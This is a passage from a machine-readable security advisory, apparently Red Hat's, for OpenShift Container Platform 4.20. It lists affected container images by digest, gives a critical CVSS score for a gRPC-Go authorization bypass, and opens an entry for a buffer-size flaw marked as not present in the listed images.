"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "google.golang.org/grpc/grpc-go: google.golang.org/grpc/authz: gRPC-Go: Authorization bypass due to improper HTTP/2 path validation"
},
{
"cve": "CVE-2026-34986",
"cwe": {
"id": "CWE-131",
"name": "Incorrect Calculation of Buffer Size"
},
"discovery_date": "2026-04-06T17:01:34.639203+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
